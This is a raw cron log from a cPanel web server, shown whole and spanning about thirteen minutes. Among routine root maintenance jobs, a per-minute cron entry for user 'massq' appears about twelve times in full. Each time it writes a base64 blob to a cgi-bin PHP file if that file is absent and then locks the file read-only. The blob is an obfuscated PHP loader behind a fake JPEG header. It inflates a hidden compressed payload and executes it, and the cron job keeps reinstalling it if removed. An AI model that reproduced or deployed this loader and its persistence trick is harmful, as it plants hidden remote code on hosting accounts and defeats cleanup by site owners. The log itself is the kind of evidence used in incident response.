Aug 31 11:02:01 server CROND[5059]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:02:01 server CROND[5060]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:03:01 server CROND[5445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:03:01 server CROND[5447]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:03:01 server CROND[5448]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:04:01 server CROND[5827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:04:01 server CROND[5828]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:04:01 server CROND[5836]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:05:01 server CROND[6232]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Aug 31 11:05:01 server CROND[6233]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 11:05:01 server CROND[6236]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 11:05:01 server CROND[6251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:05:01 server CROND[6253]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 11:05:01 server CROND[6252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:05:01 server CROND[6254]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 11:05:01 server CROND[6255]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:05:01 server CROND[6250]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 11:06:01 server CROND[7187]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:06:01 server CROND[7188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:06:01 server CROND[7185]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:07:01 server CROND[7571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:07:01 server CROND[7572]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:07:01 server CROND[7573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:08:01 server CROND[7975]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:08:01 server CROND[7976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:08:01 server CROND[7977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:09:01 server CROND[8376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:09:01 server CROND[8378]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:09:01 server CROND[8377]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:09:01 server CROND[8379]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 11:10:01 server CROND[8780]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 11:10:01 server CROND[8781]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 11:10:01 server CROND[8786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:10:01 server CROND[8788]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 11:10:01 server CROND[8787]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 11:10:01 server CROND[8790]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:10:01 server CROND[8789]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:10:01 server CROND[8785]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 11:11:01 server CROND[9729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:11:01 server CROND[9730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:11:01 server CROND[9731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:12:01 server CROND[10114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:12:01 server CROND[10115]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 11:12:01 server CROND[10117]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:12:01 server CROND[10116]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:13:01 server CROND[10565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:13:01 server CROND[10564]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 11:13:01 server CROND[10566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:14:01 server CROND[10963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
